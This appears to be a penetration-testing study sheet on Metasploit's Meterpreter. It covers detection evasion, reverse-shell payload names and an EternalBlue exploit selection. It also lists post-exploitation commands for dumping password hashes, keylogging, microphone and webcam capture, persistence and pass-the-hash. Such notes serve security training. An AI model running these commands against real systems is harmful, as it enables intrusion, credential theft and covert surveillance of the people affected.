Metasploit Meterpreter

Meterpreter is a metasploit payload that supports the penetration process with many valuable components. It will run on the target system and act as an agent within the command cand control architecture.

How does it work?
Runs on target system but is not installed on it. It runs in the memory. This means it can avoid being detected during antivirus scans. Meterpreter runs in the memory eg RAM.
Also aims to avoid being detected by network IPS (Intrusion prevention system) solutions by using encrypted communications with the server where metasploit runs. If the target does not decrypt and inspect encrypted traffic IPS and IDS solutions will not be able to detect.

Meterpreter Payloads Overview (Short Version)

Metasploit Payload Types:

- **Staged:** Sends payload in 2 steps (small initial stager -> larger payload)
- **Inline (Single):** Full payload sent at once

Choosing Meterpreter Payloads: Depends on:

1. **OS Type** (Windows, Linux, Android, iOS, etc.)
2. **Available Components** (e.g., Python, PHP)
3. **Network Restrictions** (TCP/HTTP/HTTPS, IPv4/IPv6)

View Available Payloads:

- `msfvenom --list payloads | grep meterpreter`

Common Platforms Covered:

- Android, iOS, Java, Linux, OSX, PHP, Python, Windows

Example Payloads (partial):

- `linux/x86/meterpreter/reverse_tcp`
- `windows/meterpreter/reverse_https`
- `php/meterpreter_reverse_tcp`

Exploit-Specific Payloads:

- Some exploits (e.g., `ms17_010_eternalblue`) auto-select a compatible payload (e.g., `windows/x64/meterpreter/reverse_tcp`)
- Use `show payloads` to list all compatible payloads for a selected exploit

Example:

msf6 > use exploit/windows/smb/ms17_010_eternalblue
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > show payloads

Payload Selection Tips:

- Inline = easier deployment, more detectable
- Staged = smaller size, stealthier
- Use based on your access method and target environment

Core Commands

- `help` or `?` – Display help menu
- `background` / `bg` – Background the session
- `exit` – Terminate Meterpreter session
- `getuid` – Show current user ID
- `sysinfo` – Get system info
- `ps` – List processes
- `migrate <PID>` – Move to another process (may affect privileges)
- `hashdump` – Dump SAM hashes (NTLM format)
- `search -f <filename>` – Search for files (e.g. flags, creds)
- `shell` – Drop into a regular system shell (exit with Ctrl+Z)

Privilege Escalation

- `getprivs` – Show available privileges
- `use post/windows/escalate/<module>` – Run privilege escalation module

Keylogging (if supported)

- `keyscan_start` – Start keylogger
- `keyscan_dump` – Dump keystrokes
- `keyscan_stop` – Stop keylogger

System Interaction

- `execute -f <file>` – Run a program
- `upload <src> <dst>` – Upload a file
- `download <src>` – Download a file
- `cat <file>` – Display contents of a file
- `edit <file>` – Edit file (opens in vi)

Persistence (Advanced)

- `use persistence` – Maintain access after reboot (use with caution)

Screenshot & Webcam (if supported)

- `screenshot` – Take a screenshot
- `record_mic` – Record microphone audio

- `webcam_snap` – Capture image from webcam
- `webcam_stream` – Stream webcam (some versions only)

Network

- `ipconfig` – Show network interfaces
- `portfwd` – Forward local ports
- `route` – Manage routing table

Hash Usage

- Recovered NTLM hashes (e.g. via `hashdump`) can be cracked or used in **pass-the-hash** attacks.